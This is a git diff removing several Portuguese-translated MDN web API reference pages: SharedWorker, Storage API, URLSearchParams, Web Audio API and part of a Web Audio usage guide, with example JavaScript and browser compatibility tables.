O seguinte snippet de código demonstra a criação dum objeto {{domxref("SharedWorker")}} usando o construtor {{domxref("SharedWorker.SharedWorker", "SharedWorker()")}}. Ambas scripts contêm isto:

- -
var myWorker = new SharedWorker('worker.js');
-
- -

Ambas scripts acedem ao worker através dum objeto {{domxref("MessagePort")}} criado usando a propriedade {{domxref("SharedWorker.port")}}. Se o evento onmessage foi adicionado usando addEventListener, a porta é manualmente criada usando o seu método start():

- -
myWorker.port.start();
- -

Quando a porta é iniciada, ambos scripts enviam mensagens ao worker e processão mensagens vindas do worker usando port.postMessage() e port.onmessage, respetivamente:

- -
first.onchange = function() {
-  myWorker.port.postMessage([first.value,second.value]);
-  console.log(' Mensagem enviada ao worker');
-}
-
-second.onchange = function() {
-  myWorker.port.postMessage([first.value,second.value]);
-  console.log(' Mensagem enviada ao worker');
-}
-
-myWorker.port.onmessage = function(e) {
-  result1.textContent = e.data;
-  console.log(' Mensagem recebida do worker');
-}
- -

Dentro do worker usamos o handler {{domxref("SharedWorkerGlobalScope.onconnect")}} para nos ligarmos à mesma porta a que referimos antes. As portas associadas a esse worker são acessíveis através da propriedade ports do evento {{event("connect")}} — nós depois usamos o método start() de {{domxref("MessagePort")}} para iniciar a porta, e o handler onmessage para lidar com as mensagens enviadas dos threads principais.

- -
onconnect = function(e) {
-  var port = e.ports[0];
-
-  port.addEventListener('message', function(e) {
-    var workerResult = 'Result: ' + (e.data[0] * e.data[1]);
-    port.postMessage(workerResult);
-  });
-
-  port.start(); // Necessário quando se usa addEventListener. Senão é chamado implicitamente pelo setter de onmessage.
-}
- -

Especificações

- - - - - - - - - - - - - - -
EspecificaçãoEstadoComentário
{{SpecName('HTML WHATWG', "#sharedworker", "SharedWorker")}}{{Spec2('HTML WHATWG')}}Sem diferenças em comparação a {{SpecName("Web Workers")}}.
- -

Compatibilidade

- - - -

{{Compat("api.SharedWorker")}}

- -

Ver também

- - - -
- - - - - -
diff --git a/files/pt-pt/web/api/storage_api/index.html b/files/pt-pt/web/api/storage_api/index.html deleted file mode 100644 index 28918cf371..0000000000 --- a/files/pt-pt/web/api/storage_api/index.html +++ /dev/null @@ -1,129 +0,0 @@ ---- -title: API de armazenamento -slug: Web/API/Storage_API -tags: - - API - - API de armazenamento - - Armazenamento - - Contextod e segurança - - Quotas - - Referencia - - Resumo - - Sinopse - - Utilização -translation_of: Web/API/Storage_API -original_slug: Web/API/API_armazenamento ---- -

{{securecontext_header}}{{DefaultAPISidebar("Storage")}}

- -

The Storage Standard defines a common, shared storage system to be used by all APIs and technologies that store content-accessible data for individual Web sites. The Storage API gives sites' code the ability to find out how much space they can use, how much they are already using, and even control whether or not they need to be alerted before the {{Glossary("user agent")}} disposes of site data in order to make room for other things.

- -

{{AvailableInWorkers}}

- -

Site storage—the data stored for a Web site which is managed by the Storage Standard—includes:

- - - -

Unidades de armazenamento de site

- -

The site storage system described by the Storage Standard and interacted with using the Storage API consists of a single site storage unit for each {{Glossary("origin")}}. In essence, every Web site or Web application has its own storage unit into which its data gets placed. The diagram below shows a site storage pool with three storage units within, showing how storage units can have different data types stored within and may have different quotas (maximum storage limits).

- -

A diagram showing how the site storage pool consists of multiple storage units that contain data from various APIs as well as possible unused space left before the quota is reached.

- -
    -
  • Origin 1 has some Web Storage data as well as some IndexedDB data, but also has some free space left; its current usage hasn't yet reached its quota.
  • -
  • Origin 2 has no data stored in it yet; it's just an empty box waiting for content. This origin, however, has a lower quota than the other two do. It may be a less-visited site, or one known to have lower data storage requirements.
  • -
  • Origin 3's storage unit is completely full; it's reached its quota and can't store any more data without some existing material being removed.
  • -
- -

{{Glossary("User agent", "User agents")}} are likely to use various techniques to determine the quota for various origins. One of the most likely methods—one which the specification specifically encourages, in fact—would be to consider the popularity and/or usage levels of individual sites to determine what their quotas should be.  It's also conceivable that the browser might offer a user interface to customize these quotas.

- -

Modos de caixa (Box)

- -

The actual data storage within each site storage unit is called its box. Each site storage unit has exactly one box into which all of its data is placed, and has a box mode that describes the data retention policy for that box. There are two modes:

- -
-
"best-effort"
-
The user agent will try to retain the data contained in the box for as long as it can, but will not warn users if storage space runs low and it becomes necessary to clear the box in order to relieve the storage pressure.
-
"persistent"
-
The user agent will retain the data as long as possible, clearing all "best-effort" boxes before considering clearing a box marked "persistent". If it becomes necessary to consider clearing persistent boxes, the user agent will notify the user and provide a way to clear one or more persistent boxes as needed.
-
- -

To change an origin's box mode requires permission to use the "persistent-storage" feature.

- -

Persistência de dados e limpeza

- -

If the site or app has the "persistent-storage" feature permission, it can use the {{domxref("StorageManager.persist()")}} method to request that its box be made persistent. It's also possible for the user agent to decide to make the site's storage unit persistent due to usage characteristics or other metrics. The "persistent-storage" feature's permission-related flags, algorithms, and types are all set to the standard defaults for a permission, except that the permission state must be the same across the entire origin, and that if the permission state isn't "granted" (meaning that for whatever reason, access to the persistent storage feature was denied), the origin's site storage unit's box mode is always "best-effort".

- -
-

Nota: Consulte Using the Permissions API para mais detalhes sobre como obter e gerir as permissões.

-
- -

When clearing site storage units, an origin's box is treated as a single entity; if the user agent needs to clear it and the user approves, the entire data store is cleared rather than providing some means of clearing only data from individual APIs.

- -

If a box is marked as "persistent", the contents won't be cleared by the user agent without either the data's origin itself or the user specifically doing so. This includes scenarios such as the user selecting a "Clear Caches" or "Clear Recent History" option. The user will be asked specifically for permission to remove persistent site storage units.

- -

Quotas e estimativas de utilização

- -

The user agent determines, using whatever mechanism it chooses, the maximum amount of storage a given site can use. This maximum is the origin's quota. The amount of this space which is in use by the site is called its usage. Both of these values are estimates; there are several reasons why they're not precise:

- -
    -
  • User agents are encouraged to obscure the exact size of the data used by a given origin, to prevent these values from being used for fingerprinting purposes.
  • -
  • De-duplication, compression, and other methods to reduce the physical size of the stored data may be used.
  • -
  • Quotas are conservative estimates of the space available for the origin's use, and should be less than the available space on the device to help prevent overruns.
  • -
- -

User agents may use any method they choose to determine the size of origins' quotas, and are encouraged by the specification to provide popular or frequently-used sites with extra space.

- -

To determine the estimated quota and usage values for a given origin, use the {{domxref("StorageManager.estimate", "navigator.storage.estimate()")}} method, which returns a promise that, when resolved, receives a {{domxref("StorageEstimate")}} that contains these figures. For example:

- -
navigator.storage.estimate().then(estimate => {
-  // estimate.quota is the estimated quota
-  // estimate.usage is the estimated number of bytes used
-});
- -

Especificações

- - - - - - - - - - - - - - -
EspecificaçãoEstadoComentário
{{SpecName('Storage')}}{{Spec2('Storage')}}Definição inicial.
- -

Compatibilidade de navegador

- -
-

StorageManager

- -
- - -

{{Compat("api.StorageManager")}}

-
-
- -

Consultar também

- -
    -
  • {{domxref("NavigatorStorage.storage", "navigator.storage")}}
  • -
  • {{domxref("StorageManager")}} (the object returned by navigator.storage)
  • -
  • Using the Permissions API
  • -
diff --git a/files/pt-pt/web/api/urlsearchparams/index.html b/files/pt-pt/web/api/urlsearchparams/index.html deleted file mode 100644 index 3cbed3eea5..0000000000 --- a/files/pt-pt/web/api/urlsearchparams/index.html +++ /dev/null @@ -1,207 +0,0 @@ ---- -title: URLSearchParams -slug: Web/API/URLSearchParams -translation_of: Web/API/URLSearchParams ---- -

{{ApiRef("URL API")}}

- -

O interface URLSearchParams define métodos que permitem trabalhar com uma query string de um URL.

- -

Um objeto que implemente URLSearchParams pode ser utilizado diretamente numa estrutura {{jsxref("Statements/for...of", "for...of")}}, em vez de {{domxref('URLSearchParams.entries()', 'entries()')}}: for (var p of mySearchParams) é equivalente a for (var p of mySearchParams.entries()).

- -

Construtor

- -
-
{{domxref("URLSearchParams.URLSearchParams", 'URLSearchParams()')}}
-
O construtor devolve um objeto URLSearchParams.
-
- -

Propriedades

- -

Este interface não herda nehuma propriedade.

- -

Métodos

- -

Este interface não herda nehum método.

- -
-
{{domxref("URLSearchParams.append()")}}
-
Adiciona um par chave/valor como um novo parâmetro de pesquisa.
-
{{domxref("URLSearchParams.delete()")}}
-
Elimina o parâmetro de pesquisa e o seu valor, da lista de parâmetros de pesquisa.
-
{{domxref("URLSearchParams.entries()")}}
-
Devolve um {{jsxref("Iteration_protocols","iterator")}} que permite iterar pelos pares chave/valor neste objeto.
-
{{domxref("URLSearchParams.get()")}}
-
Devolve o primeiro valor relacionado com o parâmetro de pesquisa enviado.
-
{{domxref("URLSearchParams.getAll()")}}
-
Devolve todos os valores relacionados com um determinado parâmetro de pesquisa.
-
{{domxref("URLSearchParams.has()")}}
-
Devolve um {{jsxref("Boolean")}} , indicando de um determinado parâmetro de pesquisa existe.
-
{{domxref("URLSearchParams.keys()")}}
-
Devolve um {{jsxref("Iteration_protocols", "iterator")}} permitindo interar pelas chaves de todos os pares chave/valor existentes no objeto.
-
{{domxref("URLSearchParams.set()")}}
-
Define o valor associado a um parâmetro de pesquisa. Elimina outros valores se existirem.
-
{{domxref("URLSearchParams.toString()")}}
-
Devolve uma string com os parâmetros válidos para serem utilizados num URL.
-
{{domxref("URLSearchParams.values()")}}
-
Devolve um {{jsxref("Iteration_protocols", "iterator")}} que permite iterar por todos os valores dos pares chave/valor existentes neste objeto.
-
- -

Exemplo

- -
var paramsString = "q=URLUtils.searchParams&topic=api"
-var searchParams = new URLSearchParams(paramsString);
-
-//Iterar pelos parâmetros de pesquisa.
-for (let p of searchParams) {
-  console.log(p);
-}
-
-searchParams.has("topic") === true; // true
-searchParams.get("topic") === "api"; // true
-searchParams.getAll("topic"); // ["api"]
-searchParams.get("foo") === null; // true
-searchParams.append("topic", "webdev");
-searchParams.toString(); // "q=URLUtils.searchParams&topic=api&topic=webdev"
-searchParams.set("topic", "More webdev");
-searchParams.toString(); // "q=URLUtils.searchParams&topic=More+webdev"
-searchParams.delete("topic");
-searchParams.toString(); // "q=URLUtils.searchParams"
-
- -

Especificações

- - - - - - - - - - - - - - - - -
EspecificaçãoEstadoComentário
{{SpecName('URL', '#urlsearchparams', "URLSearchParams")}}{{Spec2('URL')}}Definição inicial.
- -

Compatibilidade Browsers

- -

{{ CompatibilityTable() }}

- -
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
FuncionalidadeChromeFirefox (Gecko)Internet ExplorerOperaSafari
Suporte básico{{CompatChrome(49)}}{{CompatGeckoDesktop("29.0")}}{{CompatNo}}3610.1
entries(), keys(), values(), e suporte de for...of{{CompatChrome(49)}}{{CompatGeckoDesktop("44.0")}}{{CompatNo}}36{{CompatUnknown}}
USVString for constructor init object{{CompatVersionUnknown}}{{CompatGeckoDesktop("53.0")}}{{CompatNo}}{{CompatVersionUnknown}}{{CompatUnknown}}
Record for constructor init object{{CompatUnknown}}{{CompatGeckoDesktop("54.0")}}{{CompatNo}}{{CompatUnknown}}{{CompatUnknown}}
-
- -
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
FuncionalidadeAndroidAndroid WebviewFirefox Mobile (Gecko)IE MobileOpera MobileSafari MobileChrome para Android
Suporte básico{{CompatNo}}{{CompatChrome(49)}}{{CompatGeckoMobile("29.0")}}{{CompatNo}}{{CompatUnknown}}{{CompatNo}}{{CompatChrome(49)}}
entries(), keys(), values(), e suport de for...of{{CompatNo}}{{CompatChrome(49)}}{{CompatGeckoMobile("44.0")}}{{CompatNo}}{{CompatUnknown}}{{CompatNo}}{{CompatChrome(49)}}
USVString for constructor init object{{CompatNo}}{{CompatVersionUnknown}}{{CompatGeckoMobile("53.0")}}{{CompatNo}}{{CompatUnknown}}{{CompatUnknown}}{{CompatVersionUnknown}}
Record for constructor init object{{CompatNo}}{{CompatUnknown}}{{CompatGeckoMobile("54.0")}}{{CompatNo}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
-
- -

Ver também

- - - -
-
diff --git a/files/pt-pt/web/api/web_audio_api/index.html b/files/pt-pt/web/api/web_audio_api/index.html deleted file mode 100644 index 815ab1ad91..0000000000 --- a/files/pt-pt/web/api/web_audio_api/index.html +++ /dev/null @@ -1,512 +0,0 @@ ---- -title: API de Áudio da Web -slug: Web/API/Web_Audio_API -tags: - - API - - API de Áudio da Web - - Exemplo - - Guía - - Landing - - Overview - - Resumo - - Web Audio API -translation_of: Web/API/Web_Audio_API ---- -
-

The Web Audio API provides a powerful and versatile system for controlling audio on the Web, allowing developers to choose audio sources, add effects to audio, create audio visualizations, apply spatial effects (such as panning)  and much more.

-
- -

Conceitos e utilização de áudio da Web

- -

The Web Audio API involves handling audio operations inside an audio context, and has been designed to allow modular routing. Basic audio operations are performed with audio nodes, which are linked together to form an audio routing graph. Several sources — with different types of channel layout — are supported even within a single context. This modular design provides the flexibility to create complex audio functions with dynamic effects.

- -

Audio nodes are linked into chains and simple webs by their inputs and outputs. They typically start with one or more sources. Sources provide arrays of sound intensities (samples) at very small timeslices, often tens of thousands of them per second. These could be either computed mathematically (such as {{domxref("OscillatorNode")}}), or they can be recordings from sound/video files (like {{domxref("AudioBufferSourceNode")}} and {{domxref("MediaElementAudioSourceNode")}}) and audio streams ({{domxref("MediaStreamAudioSourceNode")}}). In fact, sound files are just recordings of sound intensities themselves, which come in from microphones or electric instruments, and get mixed down into a single, complicated wave.

- -

Outputs of these nodes could be linked to inputs of others, which mix or modify these streams of sound samples into different streams. A common modification is multiplying the samples by a value to make them louder or quieter (as is the case with {{domxref("GainNode")}}). Once the sound has been sufficiently processed for the intended effect, it can be linked to the input of a destination ({{domxref("AudioContext.destination")}}), which sends the sound to the speakers or headphones. This last connection is only necessary if the user is supposed to hear the audio.

- -

A simple, typical workflow for web audio would look something like this:

- -
    -
  1. Create audio context
  2. -
  3. Inside the context, create sources — such as <audio>, oscillator, stream
  4. -
  5. Create effects nodes, such as reverb, biquad filter, panner, compressor
  6. -
  7. Choose final destination of audio, for example your system speakers
  8. -
  9. Connect the sources up to the effects, and the effects to the destination.
  10. -
- -

A simple box diagram with an outer box labeled Audio context, and three inner boxes labeled Sources, Effects and Destination. The three inner boxes have arrow between them pointing from left to right, indicating the flow of audio information.

- -

Timing is controlled with high precision and low latency, allowing developers to write code that responds accurately to events and is able to target specific samples, even at a high sample rate. So applications such as drum machines and sequencers are well within reach.

- -

The Web Audio API also allows us to control how audio is spatialized. Using a system based on a source-listener model, it allows control of the panning model and deals with distance-induced attenuation or doppler shift induced by a moving source (or moving listener).

- -
-

You can read about the theory of the Web Audio API in a lot more detail in our article Basic concepts behind Web Audio API.

-
- -

Interfaces de API de Áudio da Web

- -

The Web Audio API has a number of interfaces and associated events, which we have split up into nine categories of functionality.

- -

General audio graph definition

- -

General containers and definitions that shape audio graphs in Web Audio API usage.

- -
-
{{domxref("AudioContext")}}
-
The AudioContext interface represents an audio-processing graph built from audio modules linked together, each represented by an {{domxref("AudioNode")}}. An audio context controls the creation of the nodes it contains and the execution of the audio processing, or decoding. You need to create an AudioContext before you do anything else, as everything happens inside a context.
-
{{domxref("AudioNode")}}
-
The AudioNode interface represents an audio-processing module like an audio source (e.g. an HTML {{HTMLElement("audio")}} or {{HTMLElement("video")}} element), audio destination, intermediate processing module (e.g. a filter like {{domxref("BiquadFilterNode")}}, or volume control like {{domxref("GainNode")}}).
-
{{domxref("AudioParam")}}
-
The AudioParam interface represents an audio-related parameter, like one of an {{domxref("AudioNode")}}. It can be set to a specific value or a change in value, and can be scheduled to happen at a specific time and following a specific pattern.
-
The {{event("ended")}} event
-
The ended event is fired when playback has stopped because the end of the media was reached.
-
- -

Defining audio sources

- -

Interfaces that define audio sources for use in the Web Audio API.

- -
-
{{domxref("OscillatorNode")}}
-
The OscillatorNode interface represents a periodic waveform, such as a sine or triangle wave. It is an {{domxref("AudioNode")}} audio-processing module that causes a given frequency of wave to be created.
-
{{domxref("AudioBuffer")}}
-
The AudioBuffer interface represents a short audio asset residing in memory, created from an audio file using the {{ domxref("AudioContext.decodeAudioData()") }} method, or created with raw data using {{ domxref("AudioContext.createBuffer()") }}. Once decoded into this form, the audio can then be put into an {{ domxref("AudioBufferSourceNode") }}.
-
{{domxref("AudioBufferSourceNode")}}
-
The AudioBufferSourceNode interface represents an audio source consisting of in-memory audio data, stored in an {{domxref("AudioBuffer")}}. It is an {{domxref("AudioNode")}} that acts as an audio source.
-
{{domxref("MediaElementAudioSourceNode")}}
-
The MediaElementAudioSourceNode interface represents an audio source consisting of an HTML5 {{ htmlelement("audio") }} or {{ htmlelement("video") }} element. It is an {{domxref("AudioNode")}} that acts as an audio source.
-
{{domxref("MediaStreamAudioSourceNode")}}
-
The MediaStreamAudioSourceNode interface represents an audio source consisting of a WebRTC {{domxref("MediaStream")}} (such as a webcam, microphone, or a stream being sent from a remote computer). It is an {{domxref("AudioNode")}} that acts as an audio source.
-
- -

Defining audio effects filters

- -

Interfaces for defining effects that you want to apply to your audio sources.

- -
-
{{domxref("BiquadFilterNode")}}
-
The BiquadFilterNode interface represents a simple low-order filter. It is an {{domxref("AudioNode")}} that can represent different kinds of filters, tone control devices, or graphic equalizers. A BiquadFilterNode always has exactly one input and one output.
-
{{domxref("ConvolverNode")}}
-
The ConvolverNode interface is an {{domxref("AudioNode")}} that performs a Linear Convolution on a given {{domxref("AudioBuffer")}}, and is often used to achieve a reverb effect.
-
{{domxref("DelayNode")}}
-
The DelayNode interface represents a delay-line; an {{domxref("AudioNode")}} audio-processing module that causes a delay between the arrival of an input data and its propagation to the output.
-
{{domxref("DynamicsCompressorNode")}}
-
The DynamicsCompressorNode interface provides a compression effect, which lowers the volume of the loudest parts of the signal in order to help prevent clipping and distortion that can occur when multiple sounds are played and multiplexed together at once.
-
{{domxref("GainNode")}}
-
The GainNode interface represents a change in volume. It is an {{domxref("AudioNode")}} audio-processing module that causes a given gain to be applied to the input data before its propagation to the output.
-
{{domxref("StereoPannerNode")}}
-
The StereoPannerNode interface represents a simple stereo panner node  that can be used to pan an audio stream left or right.
-
{{domxref("WaveShaperNode")}}
-
The WaveShaperNode interface represents a non-linear distorter. It is an {{domxref("AudioNode")}} that use a curve to apply a waveshaping distortion to the signal. Beside obvious distortion effects, it is often used to add a warm feeling to the signal.
-
{{domxref("PeriodicWave")}}
-
Describes a periodic waveform that can be used to shape the output of an {{ domxref("OscillatorNode") }}.
-
- -

Defining audio destinations

- -

Once you are done processing your audio, these interfaces define where to output it.

- -
-
{{domxref("AudioDestinationNode")}}
-
The AudioDestinationNode interface represents the end destination of an audio source in a given context — usually the speakers of your device.
-
{{domxref("MediaStreamAudioDestinationNode")}}
-
The MediaStreamAudioDestinationNode interface represents an audio destination consisting of a WebRTC {{domxref("MediaStream")}} with a single AudioMediaStreamTrack, which can be used in a similar way to a {{domxref("MediaStream")}} obtained from {{ domxref("MediaDevices.getUserMedia", "getUserMedia()") }}. It is an {{domxref("AudioNode")}} that acts as an audio destination.
-
- -

Data analysis and visualization

- -

If you want to extract time, frequency, and other data from your audio, the AnalyserNode is what you need.

- -
-
{{domxref("AnalyserNode")}}
-
The AnalyserNode interface represents a node able to provide real-time frequency and time-domain analysis information, for the purposes of data analysis and visualization.
-
- -

Splitting and merging audio channels

- -

To split and merge audio channels, you'll use these interfaces.

- -
-
{{domxref("ChannelSplitterNode")}}
-
The ChannelSplitterNode interface separates the different channels of an audio source out into a set of mono outputs.
-
{{domxref("ChannelMergerNode")}}
-
The ChannelMergerNode interface reunites different mono inputs into a single output. Each input will be used to fill a channel of the output.
-
- -

Audio spatialization

- -

These interfaces allow you to add audio spatialization panning effects to your audio sources.

- -
-
{{domxref("AudioListener")}}
-
The AudioListener interface represents the position and orientation of the unique person listening to the audio scene used in audio spatialization.
-
{{domxref("PannerNode")}}
-
The PannerNode interface represents the behavior of a signal in space. It is an {{domxref("AudioNode")}} audio-processing module describing its position with right-hand Cartesian coordinates, its movement using a velocity vector and its directionality using a directionality cone.
-
- -

Audio processing in JavaScript

- -

You can write JavaScript code to process audio data. To do so, you use the interfaces and events listed below.

- -
-

As of the August 29, 2014 version of the Web Audio API spec. these features have been marked as deprecated, and are soon to be replaced by {{ anch("Audio_Workers") }}.

-
- -
-
{{domxref("ScriptProcessorNode")}}
-
The ScriptProcessorNode interface allows the generation, processing, or analyzing of audio using JavaScript. It is an {{domxref("AudioNode")}} audio-processing module that is linked to two buffers, one containing the current input, one containing the output. An event, implementing the {{domxref("AudioProcessingEvent")}} interface, is sent to the object each time the input buffer contains new data, and the event handler terminates when it has filled the output buffer with data.
-
{{event("audioprocess")}} (event)
-
The audioprocess event is fired when an input buffer of a Web Audio API {{domxref("ScriptProcessorNode")}} is ready to be processed.
-
{{domxref("AudioProcessingEvent")}}
-
The Web Audio API AudioProcessingEvent represents events that occur when a {{domxref("ScriptProcessorNode")}} input buffer is ready to be processed.
-
- -

Offline/background audio processing

- -

It is possible to process/render an audio graph very quickly in the background — rendering it to an {{domxref("AudioBuffer")}} rather than to the device's speakers — with the following.

- -
-
{{domxref("OfflineAudioContext")}}
-
The OfflineAudioContext interface is an {{domxref("AudioContext")}} interface representing an audio-processing graph built from linked together {{domxref("AudioNode")}}s. In contrast with a standard AudioContext, an OfflineAudioContext doesn't really render the audio but rather generates it, as fast as it can, in a buffer.
-
{{event("complete")}} (event)
-
The complete event is fired when the rendering of an {{domxref("OfflineAudioContext")}} is terminated.
-
{{domxref("OfflineAudioCompletionEvent")}}
-
The OfflineAudioCompletionEvent represents events that occur when the processing of an {{domxref("OfflineAudioContext")}} is terminated. The {{event("complete")}} event implements this interface.
-
- -

Audio Workers

- -

Audio workers provide the ability for direct scripted audio processing to be done inside a web worker context, and are defined by a couple of interfaces (new as of 29th August 2014). These are not implemented in any browsers yet. When implemented, they will replace {{domxref("ScriptProcessorNode")}}, and the other features discussed in the Audio processing in JavaScript section above.

- -
-
{{domxref("AudioWorkerNode")}}
-
The AudioWorkerNode interface represents an {{domxref("AudioNode")}} that interacts with a worker thread to generate, process, or analyse audio directly.
-
{{domxref("AudioWorkerGlobalScope")}}
-
The AudioWorkerGlobalScope interface is a DedicatedWorkerGlobalScope-derived object representing a worker context in which an audio processing script is run; it is designed to enable the generation, processing, and analysis of audio data directly using JavaScript in a worker thread.
-
{{domxref("AudioProcessEvent")}}
-
This is an Event object that is dispatched to {{domxref("AudioWorkerGlobalScope")}} objects to perform processing.
-
- -

Interfaces obsoletas

- -

The following interfaces were defined in old versions of the Web Audio API spec, but are now obsolete and have been replaced by other interfaces.

- -
-
{{domxref("JavaScriptNode")}}
-
Used for direct audio processing via JavaScript. This interface is obsolete, and has been replaced by {{domxref("ScriptProcessorNode")}}.
-
{{domxref("WaveTableNode")}}
-
Used to define a periodic waveform. This interface is obsolete, and has been replaced by {{domxref("PeriodicWave")}}.
-
- -

Exemplo

- -

This example shows a wide variety of Web Audio API functions being used. You can see this code in action on the Voice-change-o-matic demo (also check out the full source code at Github) — this is an experimental voice changer toy demo; keep your speakers turned down low when you use it, at least to start!

- -

The Web Audio API lines are highlighted; if you want to find out more about what the different methods, etc. do, have a search around the reference pages.

- -
var audioCtx = new (window.AudioContext || window.webkitAudioContext)(); // define audio context
-// Webkit/blink browsers need prefix, Safari won't work without window.
-
-var voiceSelect = document.getElementById("voice"); // select box for selecting voice effect options
-var visualSelect = document.getElementById("visual"); // select box for selecting audio visualization options
-var mute = document.querySelector('.mute'); // mute button
-var drawVisual; // requestAnimationFrame
-
-var analyser = audioCtx.createAnalyser();
-var distortion = audioCtx.createWaveShaper();
-var gainNode = audioCtx.createGain();
-var biquadFilter = audioCtx.createBiquadFilter();
-
-function makeDistortionCurve(amount) { // function to make curve shape for distortion/wave shaper node to use
-  var k = typeof amount === 'number' ? amount : 50,
-    n_samples = 44100,
-    curve = new Float32Array(n_samples),
-    deg = Math.PI / 180,
-    i = 0,
-    x;
-  for ( ; i < n_samples; ++i ) {
-    x = i * 2 / n_samples - 1;
-    curve[i] = ( 3 + k ) * x * 20 * deg / ( Math.PI + k * Math.abs(x) );
-  }
-  return curve;
-};
-
-navigator.getUserMedia (
-  // constraints - only audio needed for this app
-  {
-    audio: true
-  },
-
-  // Success callback
-  function(stream) {
-    source = audioCtx.createMediaStreamSource(stream);
-    source.connect(analyser);
-    analyser.connect(distortion);
-    distortion.connect(biquadFilter);
-    biquadFilter.connect(gainNode);
-    gainNode.connect(audioCtx.destination); // connecting the different audio graph nodes together
-
-    visualize(stream);
-    voiceChange();
-
-  },
-
-  // Error callback
-  function(err) {
-    console.log('The following gUM error occured: ' + err);
-  }
-);
-
-function visualize(stream) {
-  WIDTH = canvas.width;
-  HEIGHT = canvas.height;
-
-  var visualSetting = visualSelect.value;
-  console.log(visualSetting);
-
-  if(visualSetting == "sinewave") {
-    analyser.fftSize = 2048;
-    var bufferLength = analyser.frequencyBinCount; // half the FFT value
-    var dataArray = new Uint8Array(bufferLength); // create an array to store the data
-
-    canvasCtx.clearRect(0, 0, WIDTH, HEIGHT);
-
-    function draw() {
-
-      drawVisual = requestAnimationFrame(draw);
-
-      analyser.getByteTimeDomainData(dataArray); // get waveform data and put it into the array created above
-
-      canvasCtx.fillStyle = 'rgb(200, 200, 200)'; // draw wave with canvas
-      canvasCtx.fillRect(0, 0, WIDTH, HEIGHT);
-
-      canvasCtx.lineWidth = 2;
-      canvasCtx.strokeStyle = 'rgb(0, 0, 0)';
-
-      canvasCtx.beginPath();
-
-      var sliceWidth = WIDTH * 1.0 / bufferLength;
-      var x = 0;
-
-      for(var i = 0; i < bufferLength; i++) {
-
-        var v = dataArray[i] / 128.0;
-        var y = v * HEIGHT/2;
-
-        if(i === 0) {
-          canvasCtx.moveTo(x, y);
-        } else {
-          canvasCtx.lineTo(x, y);
-        }
-
-        x += sliceWidth;
-      }
-
-      canvasCtx.lineTo(canvas.width, canvas.height/2);
-      canvasCtx.stroke();
-    };
-
-    draw();
-
-  } else if(visualSetting == "off") {
-    canvasCtx.clearRect(0, 0, WIDTH, HEIGHT);
-    canvasCtx.fillStyle = "red";
-    canvasCtx.fillRect(0, 0, WIDTH, HEIGHT);
-  }
-
-}
-
-function voiceChange() {
-  distortion.curve = new Float32Array;
-  biquadFilter.gain.value = 0; // reset the effects each time the voiceChange function is run
-
-  var voiceSetting = voiceSelect.value;
-  console.log(voiceSetting);
-
-  if(voiceSetting == "distortion") {
-    distortion.curve = makeDistortionCurve(400); // apply distortion to sound using waveshaper node
-  } else if(voiceSetting == "biquad") {
-    biquadFilter.type = "lowshelf";
-    biquadFilter.frequency.value = 1000;
-    biquadFilter.gain.value = 25; // apply lowshelf filter to sounds using biquad
-  } else if(voiceSetting == "off") {
-    console.log("Voice settings turned off"); // do nothing, as off option was chosen
-  }
-
-}
-
-// event listeners to change visualize and voice settings
-
-visualSelect.onchange = function() {
-  window.cancelAnimationFrame(drawVisual);
-  visualize(stream);
-}
-
-voiceSelect.onchange = function() {
-  voiceChange();
-}
-
-mute.onclick = voiceMute;
-
-function voiceMute() { // toggle to mute and unmute sound
-  if(mute.id == "") {
-    gainNode.gain.value = 0; // gain set to 0 to mute sound
-    mute.id = "activated";
-    mute.innerHTML = "Unmute";
-  } else {
-    gainNode.gain.value = 1; // gain set to 1 to unmute sound
-    mute.id = "";
-    mute.innerHTML = "Mute";
-  }
-}
-
- -

Especificações

- - - - - - - - - - - - - - -
SpecificationStatusComment
{{SpecName('Web Audio API')}}{{Spec2('Web Audio API')}} 
- -

Compatibilidade do navegador

- -
{{CompatibilityTable}}
- -
- - - - - - - - - - - - - - - - - - - - - -
FeatureChromeEdgeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support14 {{property_prefix("webkit")}}{{CompatVersionUnknown}}23{{CompatNo}}15 {{property_prefix("webkit")}}
- 22 (unprefixed)
6 {{property_prefix("webkit")}}
-
- -
- - - - - - - - - - - - - - - - - - - - - - - - - -
FeatureAndroidChromeEdgeFirefox Mobile (Gecko)Firefox OSIE PhoneOpera MobileSafari Mobile
Basic support{{CompatNo}}28 {{property_prefix("webkit")}}{{CompatVersionUnknown}}251.2{{CompatNo}}{{CompatNo}}6 {{property_prefix("webkit")}}
-
- -

Consultar também

- - - - diff --git a/files/pt-pt/web/api/web_audio_api/using_web_audio_api/index.html b/files/pt-pt/web/api/web_audio_api/using_web_audio_api/index.html deleted file mode 100644 index b4c7daf6c4..0000000000 --- a/files/pt-pt/web/api/web_audio_api/using_web_audio_api/index.html +++ /dev/null @@ -1,260 +0,0 @@ ---- -title: Utilizar a API de Áudio da Web -slug: Web/API/Web_Audio_API/Using_Web_Audio_API -tags: - - API - - API de Áudio da Web - - Guía - - Referencia - - Utilização - - básicos -translation_of: Web/API/Web_Audio_API/Using_Web_Audio_API -original_slug: Web/API/Web_Audio_API/Utilizar_api_audio_web ---- -
{{DefaultAPISidebar("Web Audio API")}}
- -
-

Vamos ver como começar a utilizar a API de Áudio da Web. Nós iremos ver resumidamente alguns conceitos, e depois estudar um exemplo simples de caixa de som que nos permite carregar uma faixa de áudio, reproduzi-la e pausá-la, e alterar o seu volume e panning estéreo.

-
- -
-

The Web Audio API does not replace the <audio> media element, but rather complements it, just like <canvas> coexists alongside the <img> element. Your use case will determine what tools you use to implement audio. If you simply want to control playback of an audio track, the <audio> media element provides a better, quicker solution than the Web Audio API. If you want to carry out more complex audio processing, as well as playback, the Web Audio API provides much more power and control.

- -

A powerful feature of the Web Audio API is that it does not have a strict "sound call limitation". For example, there is no ceiling of 32 or 64 sound calls at one time. Some processors may be capable of playing more than 1,000 simultaneous sounds without stuttering.

-
- -

Código exemplo

- -

A nossa caixa de música parece-se com isto:

- -

A boombox with play, pan, and volume controls

- -

Note the retro cassette deck with a play button, and vol and pan sliders to allow you to alter the volume and stereo panning. We could make this a lot more complex, but this is ideal for simple learning at this stage.

- -

Check out the final demo here on Codepen, or see the source code on GitHub.

- -

Suporte para navegador

- -

Modern browsers have good support for most features of the Web Audio API. There are a lot of features of the API, so for more exact information, you'll have to check the browser compatibility tables at the bottom of each reference page.

- -

